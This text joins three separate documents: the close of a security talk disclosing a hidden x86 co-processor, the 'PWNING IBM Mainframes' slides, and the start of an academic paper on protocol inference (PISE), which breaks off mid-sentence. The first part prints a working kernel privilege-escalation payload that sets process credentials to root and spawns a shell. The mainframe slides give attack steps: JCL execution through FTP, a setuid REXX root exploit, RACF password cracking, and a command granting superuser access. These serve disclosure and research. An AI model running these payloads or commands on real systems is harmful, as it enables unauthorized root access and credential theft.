0011 0011 1000 1011 ] e737980b [ 1110 0111 0011 0111 1001 1000 0000 1011 ] e796780b [ 1110 0111 1001 0110 0111 1000 0000 1011 ] ec94ee01 [ 1110 1100 1001 0100 1110 1110 0000 0001 ] ed9458a9 [ 1110 1101 1001 0100 0101 1000 1010 1001 ] f8b4e96b [ 1111 1000 1011 0100 1110 1001 0110 1011 ] A deeply embedded instruction set  Binning instructions separates out different instruction behaviors, and reveals the bit patterns behind the instruction encoding A deeply embedded instruction set  lgd: load base address of gdt into register  mov: copy register contents  izx: load 2 byte immediate, zero extended  isx: load 2 byte immediate, sign extended  ra4: shift eax right by 4  la4: shift eax left by 4  ra8: shift eax right by 8  la8: shift eax left by 8  and: bitwise and of two registers, into eax  or: bitwise or of two registers, into eax  ada: add register to eax  sba: sub register from eax  ld4: load 4 bytes from kernel memory  st4: store 4 bytes into kernel memory  ad4: increment a register by 4  ad2: increment a register by 2  ad1: increment a register by 1  zl3: zero low 3 bytes of register  zl2: zero low 2 bytes of register  zl1: zero low byte of register  cmb: shift low word of source into low word of destination A deeply embedded instruction set  Once instructions are binned, encodings can be automatically derived by analyzing bit patterns within a bin A deeply embedded instruction set lgd: [oooooooo....++++........ ] mov: [oooooooo....++++.++++ ] izx: [oooooooo....++++++++++++++++++++] isx: [oooooooo....++++++++++++++++++++] ra4: [oooo.......................oooo.] la4: [oooo.......................oo...] ra8: [oooo........oooo...........oooo.] la8: [oooo........................oooo] and: [ooooooo++++.++++............oooo] or: [ooooooo++++.++++............oooo] ada: [oooooooo ++++ ooo] sba: [oooooooo ++++ ooo] ld4: [oooooooo---.++++.++++...==......] st4: [oooooooo---.++++.++++...==......] ad4: [ooooooo++++...== ] ad2: [ooooooo++++...== ] ad1: [ooooooo++++...== ] zl3: [ooooooo. .++++...........] zl2: [ooooooo. .++++...........] zl1: [ooooooo. .++++...........] cmb: [oooooooo....++++.++++...........] [o] opcode [.] unknown [ ] don't care [+] register [-] offset [=] length/value  General patterns:  Registers encoded with 4 bits  eax is 0b0000  ebx is 0b0011  ecx is 0b0001  edx is 0b0010  esi is 0b0110  edi is 0b0111  ebp is 0b0101  esp is 0b0100  High bit selects MMX?  Instructions operate on 0, 1, or 2 explicit registers  eax sometimes used as an implicit register  0 to 8 opcode bits at beginning of instruction  Sometimes more later in the encoding A deeply embedded instruction set  The DEIS assembler  Assembles primitives into their binary representation, and wraps each in the x86 bridge instruction  Payloads for the RISC core can now be written in DEIS assembly A deeply embedded instruction set The payload GDT cred task_struct … fs … … .cred … .uid .gid .euid .egid 0 gdt_base = get_gdt_base(); 1 descriptor = *(uint64_t*)(gdt_base+KERNEL_SEG); 2 fs_base=((descriptor&0xff00000000000000ULL)>>32)| 3 ((descriptor&0x000000ff00000000ULL)>>16)| 4 ((descriptor&0x00000000ffff0000ULL)>>16); 5 task_struct = *(uint32_t*)(fs_base+OFFSET_TASK_STRUCT); 6 cred = *(uint32_t*)(task_struct+OFFSET_CRED); 7 root = 0 8 *(uint32_t*)(cred+OFFSET_CRED_VAL_UID) = root; 9 *(uint32_t*)(cred+OFFSET_CRED_VAL_GID) = root; 10 *(uint32_t*)(cred+OFFSET_CRED_VAL_EUID) = root; 11 *(uint32_t*)(cred+OFFSET_CRED_VAL_EGID) = root; The payload lgd %eax or %ebx, %eax izx $0x4, %ecx izx $0x5f20, %ecx ada %ecx izx $0x78, %edx izx $0xc133, %edx st4 %edx, %eax ada %edx cmb %ecx, %edx ada %edx ada %ecx ad2 %eax ld4 %eax, %eax st4 %edx, %eax ld4 %eax, %edx ad2 %eax izx $0x208, %edx ada %ecx ld4 %eax, %ebx ada %edx ada %ecx zl3 %ebx ld4 %eax, %eax st4 %edx, %eax mov %edx, %eax la8 izx $0, %edx ada %ecx ra8 st4 %edx, %eax The payload /* unlock the backdoor */ __asm__ ("movl $payload, %eax"); __asm__ (".byte 0x0f, 0x3f"); /* modify kernel memory */ __asm__ ("payload:"); __asm__ ("bound %eax,0xa310075b(,%eax,1)"); __asm__ ("bound %eax,0x24120078(,%eax,1)"); __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); __asm__ ("bound %eax,0x0a1af97f(,%eax,1)"); __asm__ ("bound %eax,0xc8109489(,%eax,1)"); __asm__ ("bound %eax,0x0a1af97f(,%eax,1)"); __asm__ ("bound %eax,0xc8109c89(,%eax,1)"); __asm__ ("bound %eax,0xc5e998d7(,%eax,1)"); __asm__ ("bound %eax,0xac128751(,%eax,1)"); __asm__ ("bound %eax,0x844475e0(,%eax,1)"); __asm__ ("bound %eax,0x84245de2(,%eax,1)"); __asm__ ("bound %eax,0x8213e5d5(,%eax,1)"); __asm__ ("bound %eax,0x24115f20(,%eax,1)"); __asm__ ("bound %eax,0x2412c133(,%eax,1)"); __asm__ ("bound %eax,0xa2519433(,%eax,1)"); __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); __asm__ ("bound %eax,0xc8108489(,%eax,1)"); __asm__ ("bound %eax,0x24120208(,%eax,1)"); __asm__ ("bound %eax,0x80d2c5d0(,%eax,1)"); __asm__ ("bound %eax,0xc8108489(,%eax,1)"); __asm__ ("bound %eax,0x24120000(,%eax,1)"); __asm__ ("bound %eax,0x24110004(,%eax,1)"); __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); __asm__ ("bound %eax,0xe01095fd(,%eax,1)"); __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); __asm__ ("bound %eax,0xe01095fd(,%eax,1)"); __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); __asm__ ("bound %eax,0xe0108dfd(,%eax,1)"); __asm__ ("bound %eax,0x80d1c5d0(,%eax,1)"); __asm__ ("bound %eax,0xe0108dfd(,%eax,1)"); /* launch a shell */ system("/bin/bash");  (Demo) Demo  A secret, co-located core  Unrestricted access to the x86 core’s register file  Shared execution pipeline  But it’s all nebulous this deep Ring -4 … ?  Direct ring 3 to ring 0 hardware privilege escalation on x86.  This has never been done.  Fortunately we still need initial ring 0 access! … right?  (Demo) Demo  Samuel 2 core has the god mode bit enabled by default.  Any unprivileged code can escalate to the kernel at any time.  antivirus  address space protections  data execution prevention  code signing  control flow integrity  kernel integrity checks Protections  Update microcode to lock down god mode bit  Update microcode to disable ucode assists on the bridge instruction  Update OS and firmware to disable god mode bit, and periodically check its status Mitigations  Releasing today:  A tool to check your system  A tool to protect your system Mitigations  This is an old processor, not in widespread use  The target market is embedded, and this is likely a useful feature for customers Conclusions  Take this as a case study.  Back doors exist … and we can find them. Conclusions  Alternative threat scenarios … ?  Doesn’t impact performance  Leverages mechanisms already in place  Virtually impossible to detect Conclusions Looking forward  Open sourced  Tools, techniques, code, data  Starting point for future research project:rosenbridge project:nightshyft  (Demo) project:nightshyft github.com/xoreaxeaxeax project:rosenbridge sandsifter  M/o/Vfuscator  REpsych  x86 0-day PoC  Etc. Feedback? Ideas? domas @xoreaxeaxeax [email protected]
pdf
From ROOT to SPECIAL PWNING IBM Mainframes Soldier of Fortran @mainframed767 DISCLAIMER! All research was done under personal time. I am not here in the name of, or on behalf of, my employer. Any views expressed in this talk are my own and not those of my employer. This talk discusses work performed in my spare time generally screwing around with mainframes and thinking 'what if this still works...' @mainframed767 PCI Security Expert Mainframe Security Guru ISO 27002 & PCI Certifier “What’s NETSTAT?” - Our Horrible Consultant Spoken ?Question? PLAIN TXT 53% SSL 47% INTERNET MAINFRAMES z/OS? WTF •  Most popular “mainframe” OS •  Version 2.1 out now! Legacy my ass! @mainframed767 z/OS Demo •  Let’s take a look at this thing •  It’ll all make sense @mainframed767 @mainframed767 Ettercap Demo @mainframed767 Missed it @mainframed767 CGI-Bin in tyool 2014 •  REXX / SH still used •  Injection simple, if you know TSO commands @mainframed767 @mainframed767 CENSORED( CENSORED( @mainframed767 Only FTP? •  No Problem! •  FTP lets you run JCL (JCL = Script) •  Command: SITE FILE=JES @mainframed767 Access Granted •  Now we have access •  FTP Script Account •  Ettercap Now what? @mainframed767 Escalate! •  Let’s escalate our privilege •  Connect with telnet/ssh/3270 •  Use local priv escalation @mainframed767 Getroot.rx •  rexx script •  Leverages CVE-2012-5951: Unspecified vulnerability in IBM Tivoli NetView 1.4, 5.1 through 5.4, and 6.1 on z/OS allows local users to gain privileges by leveraging access to the normal Unix System Services (USS) security level. Tsk tsk •  IBM not really being honest here • Works on any setuid REXX script! @mainframed767 @mainframed767 DEMO @mainframed767 DEMO THANKS •  Swedish Black Hat community •  Oliver Lavery – GDS Security •  Logica Breach Investigation Files @mainframed767 Keep ACCESS •  Get a copy of the RACF database •  John the Ripper racf2john racf.db john racf_hashes @mainframed767 Steal •  Use IRRDBU00 to convert RACF to flat file •  Search for SPECIAL accounts •  Login with a SPECIAL account @mainframed767 IRRDBU00 CENSORED( @mainframed767 Welcome to OWN zone •  SPECIAL gives access to make any change to users •  Add Users •  Make others SPECIAL, OPERATIONS @mainframed767 Giver UID 0 @mainframed767 Giver SPECIAL @mainframed767 BPX. Wha? •  BPX.SUPERUSER – Allows people to su to root without password BPX.SUPERUSER •  As SPECIAL user type (change userid): PERMIT BPX.SUPERUSER CLASS(FACILITY) ID(USERID) ACCESS(READ) And SETROPTS GENERIC(FACILITY) REFRESH @mainframed767 Tools •  CATSO –  TSO Bind/Reverse shell •  TSHOCKER – Python/JCL/FTP wrapper for CATSO •  MainTP – Python/JCL/FTP getroot.rx wrapper @mainframed767 TShocker @mainframed767 Maintp •  Uses GETROOT.rx + JCL and FTP and NetEBCDICat to get a remote root shell @mainframed767 @mainframed767 I want one •  RDz – Rational Developer for system z •  We can use it to practice instead •  Call your IBM rep! Thanks •  Dominic White (@singe) •  The community •  IBM @mainframed767 Contact Twitter @mainframed767 Email [email protected] Websites: Mainframed767.tumblr.com Soldieroffortran.org
pdf
PISE: Protocol Inference using Symbolic Execution and Automata Learning Ron Marcovich, Orna Grumberg, and Gabi Nakibly Computer Science Department, Technion, Haifa, Israel {ron.mar,orna,gnakibly}@cs.technion.ac.il Abstract. Protocol Inference is the process of gaining information about a protocol from a binary code that implements it. This process is use- ful in cases such as extraction of the command and control protocol of a malware, uncovering security vulnerabilities in a network protocol imple- mentation or verifying conformance to the protocol’s standard. Protocol inference usually involves time-consuming work to manually reverse en- gineer the binary code. We present a novel method to automatically infer state machine of a net- work protocol and its message formats directly from the binary code. To the best of our knowledge, this is the first method to achieve this solely based on a binary code of a single peer. We do not assume any of the following: access to a remote peer, access to captures of the protocol’s traffic, and prior knowledge of message formats. The method leverages extensions to symbolic execution and novel modifications to automata learning. We validate the proposed method by inferring real-world proto- cols including the C&C protocol of Gh0st RAT, a well-known malware. Keywords: Protocol Inference · Network Security · Symbolic Execution · Automata Learning · Network Protocols. 1 Introduction The process of gaining information about a communication protocol from the binary code that implements it is called Protocol Inference. Such a process is employed in several practical scenarios. Many malwares set up a command and control (C&C) channel with the attacker’s server. Over that channel they re- ceive commands from the server and send information gathered from the victim machine. Oftentimes, knowing the commands expected to be received by the malware is helpful to analyze the goals and logic of the malware. Nonetheless, these commands may not be easily obtained if no prior traffic of the C&C chan- nel has been captured or the attacker server is no longer operational. In such cases one needs to infer the C&C protocol from the malware’s binary only. Additionally, security vulnerabilities of a network protocol software are often caused by deviations from the intended protocol’s logic. For example, a vulnera- bility in an implementation of a server program may accept data from the client before the user was authenticated or after a message that closes the connection is 2 Ron Marcovich, Orna Grumberg, and Gabi Nakibly received. Such deviations may be even intentional and pose an undesirable back door to the program. Moreover, improper implementation of a protocol logic may lead to non-conformance to other implementations of the same protocol. To reveal such improper implementations of a protocol, one needs to infer the protocol implemented by the software and compare it to the protocol’s desired logic. In this work we propose PISE: a method to automatically infer the proto- col directly from a given binary code. The method extracts the protocol state machine and the formats of each of the protocol’s message types. The method leverages an extended L* algorithm [2] to learn the protocol’s state machine. L* is based on a Teacher and a Learner, whose goal is to reveal the state machine of an unknown language (in our case, the sequences of the protocol’s message exchanges). The Learner presents membership queries and equivalence queries that the Teacher answer. To answer the algorithm’s membership queries we use modified symbolic ex- ecution of the binary program. The modifications track the program’s network activity and guide the symbolic execution through a messages exchange accord- ing to the Learner’s query. The symbolic execution is also leveraged to uncover messages that may follow a valid message exchange. Predicates representing the protocol’s message types are derived based on these example messages. As new message types are revealed they are fed back to the L* algorithm to extend the protocol’s state machine. Equivalence queries of the L* algorithm are answered using a standard sampling approximation using membership queries. We emphasize that the only input to the proposed method is the binary code of a single peer of the protocol. In particular, we do not assume: (1) Access to the binary code of the remote peer. (2) Access to network traffic recordings that contain valid protocol sessions. (3) Access to an online instance of the remote peer. Namely, we cannot recreate valid session traffic. (4) Prior knowledge of messages’ formats and the partition to message types. To the best of our knowledge, PISE is the first protocol inference method that has none of the above assumptions. We believe that the lack of such as- sumptions makes our method widely suitable for many real-world use cases of protocol inference. For example, often when the C&C protocol of a malware is analyzed, the protocol peer, i.e. the C&C server, is unobtainable nor it is online, furthermore past malware traffic has not been recorded. Hence, the binary code of the malware is the only source of information about the protocol. Previous Works There are several published works that deal with the problem of learning information about a network protocol. The approach presented in [8] uses recorded network traffic as input. It analyzes the traffic and uses heuristics to extract different protocol fields. To infer information about the protocol that may not be captured in recorded traffic only, several methods [4] [3] [16] [9] were introduced that combine the recorded traffic with execution traces of the server, allowing them to learn more PISE: Protocol Inference using Symbolic Execution and Automata Learning 3 about the messages’ formats, and even gain some insights about the semantics of messages and message fields. All of these works do not deal with the problem of learning the protocol state machine. This was the motivation for the work [7] which introduced Prospex. This work extended previous works in two directions: First, they developed a mechanism to identify messages of the same type. They use this information to partition messages with similar role in the protocol into clusters. The second extension is a method to infer the state machine of the protocol. Prospex method, like all the mentioned methods, requires captures of protocol’s traffic. Another important contribution is the work [6] that introduced a method for on-line inference of botnet C&C protocol, using active instances of it. They chose to represent a protocol as a Mealy machine and used L* extension by [14] for learning mealy machines. They actively query the control server responses for a sequences of messages. They also introduced caching and prediction opti- mizations to L* in order to reduce the amount of membership queries sent to the server. Their work, as an on-line method, assumes the server is available and answers appropriately. They also assume known message formats by using previous work [4]. Another related work is the work [1] that introduces a method to infer a Java class specification (order of method calls) using model checking and L*, which is similar to what we apply in our work. In their case, however, the alphabet (the methods) is known in advance. The work [10] utilizes L* for the purpose of model checking and suggests learning-based algorithms to automate assumption generation in assume-guarantee verification. The work [12] even extended this to include alphabet refinement, a technique to infer interface alphabets. Another work called MACE [5] presents a method to learn a state machine of a server using L* and symbolic execution. As in our method, they use L* extension for inferring Mealy state machines [14] and use symbolic execution to uncover messages that the client may send. There are, however, two main differences to our method: First, MACE assumes a known abstraction function is available that can extract the message type out of the server’s response. Second, MACE assumes a running server is available, that can answer client requests. We do not have these assumptions. 2 Preliminaries 2.1 Deterministic Finite Automaton (DFA) Learning A deterministic finite automaton (DFA) M is a five-tuple, (Q, Σ, δ, q0, F), all of them nonempty, whereas: Q is a finite set of states, Σ is a finite set of input symbols (alphabet), δ : Q × Σ → Q is a transition function, q0 ∈ Q is an initial state and F ⊆ Q is a set of accept states. Let w = σ1...σn be a string over the alphabet Σ. We say that M accepts w if there exist r0, ..., rn ∈ Q such that r0 = q0, rn ∈ F and ∀0 ≤ i ≤ n − 1, ri+1 = δ(ri, σi+1). Let Σ∗ = {σ1...σn | σi ∈ Σ, n ≥ 0} be the set of all finite strings over the alphabet Σ. We define L(M) = {w ∈ Σ∗ | M accepts w} as the language of M. 4 Ron Marcovich, Orna Grumberg, and Gabi Nakibly A set of words L ⊆ Σ∗ is a regular language iff there exists DFA M such that L = L(M). Automata learning identifies an unknown regular language L by learning a DFA M such that L(M) = L. The L* algorithm [2] solves this problem. It as- sumes a minimally adequate Teacher, which is an oracle that can answer two types of queries: Membership query and Equivalence query. In a Member- ship query, the Teacher should indicate whether a given word w is in L or not. In an Equivalence query, the Teacher should indicate, given a conjectured DFA M ′, whether L(M ′) = L, and provide a counterexample otherwise (a word in the symmetric difference of L and L(M ′)). In its internal data, the L* algorithm saves a description of the currently learned automaton in a structure called observation table. The observation table is updated during the learning process according to the answers of the Teacher. The basic L* algorithm assumes Σ (alphabet) is known. Several works [12] [13] propose extended algorithms to deal with an alphabet that is revealed (or grows) during the the execution of the algorithm. 2.2 Symbolic Execution Symbolic execution is a static method of analyzing a program. During the anal- ysis it determines what constraints the program’s input must satisfy in order to execute each execution path in the program. This is done by following the program’s code assuming symbolic values for inputs. A symbolic state is defined to contain the current symbolic values for each variable in the program, as well as constraints that should hold in order to reach that state. Symbolic execution begins with a single initial state located at the entry point of the program. The execution happens by stepping the set of states and generating new descendant states. Stepping a single state may result with mul- tiple new descendant states, if, for example, the parent state corresponds to a conditional branch. Before stepping a state, the symbolic execution may verify that the current constraints of the state are satisfiable. This verification is done in order to discard states that represent infeasible paths, representing impossi- ble executions. A symbolic state can represent an execution during which the program failed and terminated, namely exits with a non-zero return value. We call such a symbolic state an abort state. 3 Problem Definition Our goal, given a binary code of a program, is finding a DFA that accepts a language L, where each word in L matches a sequence of message types received and sent by the program. We say that this DFA is the state machine of the protocol implemented by the program. We say that a concrete run of the program is valid if and only if it does not finish in an abort state. We denote by S and R the finite set of messages that may be sent and received by the program, respectively. S and R are disjoint. S and R are finite because messages are limited in length (See Assumption 1 below). PISE: Protocol Inference using Symbolic Execution and Automata Learning 5 A session is a sequence of messages m1 . . . mk such that ∀1 ≤ i ≤ k, mi ∈ S∪R. We say that a session m1 . . . mk is valid for the program if and only if there exists a valid run of the program along which the same sequence of messages are sent or received in exactly the same order as in m1 . . . mk. An empty session is considered valid. Valid sessions are prefix-closed, meaning that if m1 . . . mk is a valid session then ∀1 ≤ l ≤ k − 1, m1 . . . ml is also a valid session. Messages are partitioned into subsets of message types according to their semantics in the protocol and their effect on the protocol state machine. Let TD be a partition of message types of D where D ∈ {R, S}. Given a message m ∈ D, we denote by type(m) the pair ⟨D, t⟩ such that t ∈ TD and m ∈ t. We call such a pair ⟨D, t⟩ a Message Type. t is finite because both S and R are finite. We define the alphabet of the protocol as a finite set of pairs: ΣL = {⟨T, t⟩ | t ∈ TD, D ∈ {R, S}} Given a session m1 . . . mk such that ∀1 ≤ i ≤ k, mi ∈ S ∪ R, we define Θ : (S ∪ R)∗ → Σ∗ L: Θ(m1 . . . mk) = type(m1) . . . type(mk) We abstract all valid sessions to a regular language L over the alphabet ΣL: L = {Θ(m1 . . . mk) | m1 . . . mk is a valid session} Note that L is prefix closed because valid sessions are prefix closed. Note that R and S, as well as their partitions TS and TR, are unknown in advance, hence the alphabet Σ of the DFA in unknown in advance. It is the task of our method to uncover ΣL as it determines the DFA. Assumptions We assume the following about the input to our method: 1. Message Length is limited: there exists N such that no message in the protocol to be inferred is longer than N bytes. This is a reasonable assump- tion since concrete messages must be finite. In practice, our method allow a message to be longer than N bytes, as long as the first N bytes may allow to infer its message type. This assumption is required since symbolic lengths are computationally difficult to infer. 2. Protocol Regularity: the protocol can be modeled as a DFA (See Sec- tion 2.1) over ΣL in terms of message types allowed from each state. For- mally, L is regular language. If L is not regular, our algorithm will fail or will never complete the inference. 4 Learning a DFA of a Protocol (Exact Version) The learning of the protocol’s DFA is based on a modified version of the L* algorithm [2]. We modify the algorithm’s queries in order to uncover the alphabet Σ, that is, the message types of the protocol. Initially, Σ is ∅. 6 Ron Marcovich, Orna Grumberg, and Gabi Nakibly For ease of exposition, we assume here a Teacher that is capable of answer- ing the queries we present. However, this assumption is unrealistic when both the state machine and the alphabet ΣL are unknown. In Section 5 we propose suitable approximations for the Learner and the Teacher. Modified Membership Queries The classical membership query returns True or False, indicating if a given w is in L or not. We modify it as fol- lows: If w ∈ L, True is returned together with a set Cont(w) of message types ⟨D, t⟩ such that w · ⟨D, t⟩ ∈ L. If w /∈ L, False is returned. The set Cont(w) may reveal new alphabet symbols. Modified Equivalence Queries In a classical equivalence query the Learner provides a conjectured DFA M over alphabet ΣM = Σ. True is returned if L = L(M). Otherwise, False is returned and a counterexample w in the symmetric difference of L and L(M) is returned as well. We modify it as follows: False is returned if there exist w ∈ Σ∗ M for which one of the following hold: (1) w is in the symmetric difference of L and L(M); (2) A set Miss(M) ̸= ∅ exists such that for all σ ∈ Miss(M), σ /∈ ΣM but w · σ ∈ L. In the former case, w is returned as a counterexample. In the latter case, every w · σ is considered a counterexample. True is returned if for all w ∈ Σ∗ M, neither (1) nor (2) hold. Handling a growing alphabet Given a set of message types C = Cont(w) or C = Miss(M) output by a query, Σ is set to Σ ∪ C. If Σ changes during this assignment, then we say that the alphabet grows. To handle a growing alphabet we use a modified L* algorithm presented in [13]. In a nutshell, the modified algorithm updates the observation table to handle the new alphabet symbols while the general learning cycle is kept similar to the classical L* algorithm. Initialization and Output The Learner starts with Σ = ∅. The first query of the Learner is w = ε. Note that the answer to this query is True since an empty session is valid. Cont(ε) is then added to Σ. The Learner continues to utilize queries according to the L* algorithm and extends Σ and the learnt DFA according to the queries’ answers. The algorithm terminates when an equivalence query returns True. The algorithm outputs the learnt DFA that represents the protocol’s state machine and Σ that represents the protocol’s message types. Correctness The correctness of the algorithm is based on the modified defini- tion of equivalence queries and correctness of the classical L* algorithm. Theorem 1. The modified Learner terminates with L(M) = L and ΣM = ΣL. Proof. The Learner terminates when it gets True as an answer from the Teacher on an equivalence query. In this case, there is no w ∈ Σ∗ M, which is in the symmetric difference of L and L(M). Thus, L = L(M). Also, there is no w ∈ Σ∗ M, PISE: Protocol Inference using Symbolic Execution and Automata Learning 7 such that σ ̸∈ ΣM but w · σ ∈ L. This means that there is no (reachable) message type σ ∈ ΣL that has not been revealed already by our modified Learner. Consequently, Σ = ΣL, as required. ⊓⊔ 5 Learning a DFA of a Protocol (Approximation) This section details how the answers to the queries of the modified L* algorithm presented in Section 4 are approximated. The components of the learning and their interactions are presented in Figure 1. Approximated Learner Membership Oracle Equivalence Oracle Binary Code Modified Symbolic Execution Query w DFA M True/False ContA(w) True/False w, MissA(M) w True/False ContA(w) Fig. 1. Illustration of our algorithm 5.1 Characterizing Message Types Recall that a message type is a pair ⟨D, t⟩ where t is a set of finitely many messages. We represent a set t using a predicate P describing the format of that message type. Hence, we represent a message type by a pair ⟨D, P⟩. We use predicates over variables {B0, . . . , BN−1}, representing the message bytes. Recall that N is a maximal length of a message (See Section 3). m[i] denotes the value of the i-th byte of m, such that 0 ≤ m[i] < 256. We define M(D, Px) to be the set of messages from D that is matched by the predicate Px: M(D, Px) = {m ∈ D | Px(m) = True} Given a set of messages x ⊆ D, Px is extracted using the following simple definition: we hold constraints on message bytes that have the same value for all the messages in x. Formally, let m ∈ x, we define: Px = N−1 ∧ i=0 φi, φi = {Bi = m[i], if ∀m′ ∈ x, m′[i] = m[i] True, Otherwise } ∀0 ≤ i ≤ N − 1 Note that the above definition may be replaced with a more elaborate one, if needed. We choose this definition because it is simple and is sufficiently useful for many real world protocols. In Section 5.4 we explain how to generate predicates that are sufficiently general to describe message types even though we are given only a small subset of examples for that message type. 8 Ron Marcovich, Orna Grumberg, and Gabi Nakibly 5.2 Handling Alphabet Changes Recall that the exact version of our method is infeasible in our setting. To rem- edy this, we replace the sets of message types, Cont(w) and Miss(M), with their approximations, denoted ContA(w) and MissA(M), of message type candidates. As we use an approximation to generate the new message type candidates, they may intersect with previously found message types currently in Σ. This breaks the assumption that sets of message types are pairwise disjoint. There- fore, we present here an algorithm that, given C = ContA(w) or C = MissA(M), incorporates C in Σ while making sure the elements of Σ remain pairwise dis- joint. We denote by Σ the current alphabet and by Σ′ the updated alphabet after the changes. The algorithm initializes Σ′ = Σ. M(D, Pσ) M(D, P) M(D, Pσ ∧ ¬P) M(D, P ∧ ¬Pσ) M(D, Pσ ∧ P) Fig. 2. Colliding predicates Let c = ⟨D, P⟩ ∈ C be a message type candidate. We say that ⟨D, P⟩ collides with ⟨Dσ, Pσ⟩ ∈ Σ if Dσ = D and M(D, P) ∩ M(D, Pσ) ̸= ∅. In order to detect if c collides with σ, we check the satisfiability of P ∧ Pσ. If a collision is detected, then ⟨Dσ, Pσ⟩ is re- moved from Σ and three message types are added to Σ′: One that is based on a predi- cate of the intersection of the colliding mes- sage types and two message types that are based on the a symmetric differences of the colliding message types (see Figure 2). The procedure to handle collisions of a message type candidate c is presented in Algorithm 1. Algorithm 1 The procedure to handle message type candidate 1: function handle candidate(⟨D, P⟩ ∈ C, Σ) 2: P′ ← P, Σ′ ← Σ 3: for all ⟨Dσ, Pσ⟩ ∈ Σ′ such that D = Dσ do 4: if Pσ ∧ P′ is satisfiable then 5: Σ′ ← Σ′ \ {⟨D, Pσ⟩} 6: if Pσ ∧ ¬P′ is satisfiable then 7: Σ′ ← Σ′ ∪ {⟨D, Pσ ∧ ¬P′⟩} 8: end if 9: Σ′ ← Σ′ ∪ {⟨D, Pσ ∧ P′⟩} 10: P′ ← P′ ∧ ¬Pσ 11: end if 12: end for 13: if P′ is satisfiable then 14: Σ′ ← Σ′ ∪ {⟨D, P′⟩} 15: end if 16: Σ ← Σ′ 17: end function PISE: Protocol Inference using Symbolic Execution and Automata Learning 9 Note that, if Σ originally includes only pairwise disjoint message types, then it is guaranteed that message types ⟨D, Pσ ∧ ¬P⟩ and ⟨D, Pσ ∧ P⟩ do not collide with any other message types in Σ. Therefore, it is only left to check for collision with ⟨D, ¬Pσ ∧ P⟩ in Σ′. During the procedure we must discard unsatisfiable predicates. A predi- cate may become unsatisfiable in two special cases of collision: If M(D, Pσ) ⊂ M(D, P′) then Pσ ∧ ¬P′ is not satisfiable and should be discarded (line 6). If M(D, Pσ) ⊃ M(D, P′) then P′ ∧ ¬Pσ is not satisfiable and should not be inserted to Σ (line 13). We run Algorithm 1 for every c ∈ C. After running this procedure for all message type candidates, the elements of the resulting Σ′ are pairwise disjoint and are set as the new alphabet. If during the above procedure message types are removed from Σ then the L* algorithm must be restarted with the updated Σ since the learning was done with inaccurate alphabet. If message types are only added to Σ (and not removed) then we say that Σ grows. In the latter case the method from the exact algorithm (Section 4) is used without having to restart L*. 5.3 Equivalence Oracle Answering equivalence queries in real world for black box systems is generally infeasible [2]. Therefore, we define here an oracle to approximate equivalence queries. We take advantage of a commonly used approach in which an equivalence query is approximated using a sampling oracle. We use the Wp-Method [11] to generate a test suite T ⊂ Σ∗ M of queries w. In this method, T is generated using M and the alphabet ΣM. The procedure to run a test suite T against a conjectured DFA M is shown in Appendix A.1. Each w ∈ T is tested using a membership query. If ContA(w) contains symbols that are not in ΣM, then False is returned with w and MissA(M) = ContA(w). If w is in the symmetric difference of L and L(M), then False is returned with w as a counterexample. If missing message types are not found and a counterexample w is not found in the entire test suite T, True is returned and the learning terminates. Recall that, if MissA(M) is returned, then every w · σ, such that σ ∈ MissA(M), is handled as a counterexample. 5.4 Membership Oracle Let w ∈ Σ∗ be a sequence of message types sent as a membership query. The algorithm should answer whether w ∈ L and if w ∈ L it should also provide ContA(w) – a set of message type candidates that may follow w. By definition, w is a sequence of message types. Recall that such a sequence corresponds to sessions of the protocol. We answer membership queries using symbolic execution of the binary code. A symbolic execution begins with a single active initial state, located at the binary’s entry point. By stepping forward active states iteratively, a set of new 10 Ron Marcovich, Orna Grumberg, and Gabi Nakibly active states is generated, representing multiple different execution paths of the binary. We divide the symbolic execution into two phases: monitoring phase, which answers whether w is a valid session of the protocol, and the probing phase, which results in possible continuations of w. The latter phase is executed only if w is a valid session. During the monitoring phase we guide the symbolic execution to consider only execution paths that follow the given sequence w. During the probing phase, however, we take into account all feasible executions that are developed as continuations to the executions that we found during the monitoring phase. se Send ⟨D, P⟩ ∈ ContA(w) Recv Send ⟨D, P⟩ ∈ ContA(w) Send ⟨D, P⟩ ∈ ContA(w) Monitoring Phase Probing Phase i = 1 2 . . . n − 1 i = n Fig. 3. Illustration of symbolic execution during membership query Monitoring phase Let w = ⟨Dσ1, Pσ1⟩ . . . ⟨Dσn, Pσn⟩ be the queried sequence. We hook the functions in the binary that send and receive messages1. The pro- cedures inserted in the hooks are presented in the following subsections. We perform the monitoring phase in n stages: We start with a single initial state se located at the binary code’s entry point. For each stage 1 ≤ i ≤ n we add constraints of the predicate of the message type ⟨Dσi, Pσi⟩. These constraints restrict the symbolic execution to execution paths that send or receive a mes- sage of type ⟨Dσi, Pσi⟩ at the current stage. We then resume the execution of all active states, until all active states are restricted to the i-th message type. In the next subsections we explain in detail how we eliminate execution paths that do not match w. Recall that states with unsatisfiable constraints as well as abort states, are discarded automatically. If we successfully finish the execution of the last stage (for i = n) with at least one active state, then there is at least one valid session of the binary code that matches the sequence of message types of w. In such a case the answer to the query is True. If, however, during one of the stages there are no active states left, then w represents invalid session for the binary code, and therefore the oracle returns False as the query’s result. 1 Such functions can be trivially identified by finding the system calls that send or receive messages. PISE: Protocol Inference using Symbolic Execution and Automata Learning 11 In Figure 3, the monitoring phase is illustrated in the left part of the figure. States that represent infeasible executions (infeasible constraints) are discarded (gray). States that represent feasible executions that do not match the query w are discarded as well (red). The stages of the monitoring are illustrated as well. The figure represents a membership query that is answered with True, as a single active state (magenta) is found at the end of the monitoring phase. Monitoring incoming messages The receive function is hooked during the mon- itoring phase with the following procedure. The purpose of this procedure is to advance the monitoring of the queried sequence when the binary code receives a message. Let s be a symbolic state during the i-th stage in which the binary code calls the receive function, and let σi = ⟨Dσi, Pσi⟩ be the next expected alphabet symbol in the query. If σi represents outcoming messages (i.e Dσi = S), then s is not an execution path that can match the queried sequence w: the execution path represented by s receives a message in the i-th stage whereas the query w represents sessions that send a message from M(S, Pσi) in the i-th stage. Therefore we discard s. On the other hand, if σi represents incoming message type (i.e Dσi = R), we move s to the i+1-th stage with s′ as its successor. We attach to s′ an assumption that a message from M(R, Pσi) is read from the network. We implement this assumption by inserting the predicate Pσi(msg) to the constraints of s′, where msg is the received message buffer. Once s′ resumes execution, it will continue as if the received message satisfies Pσi and thus 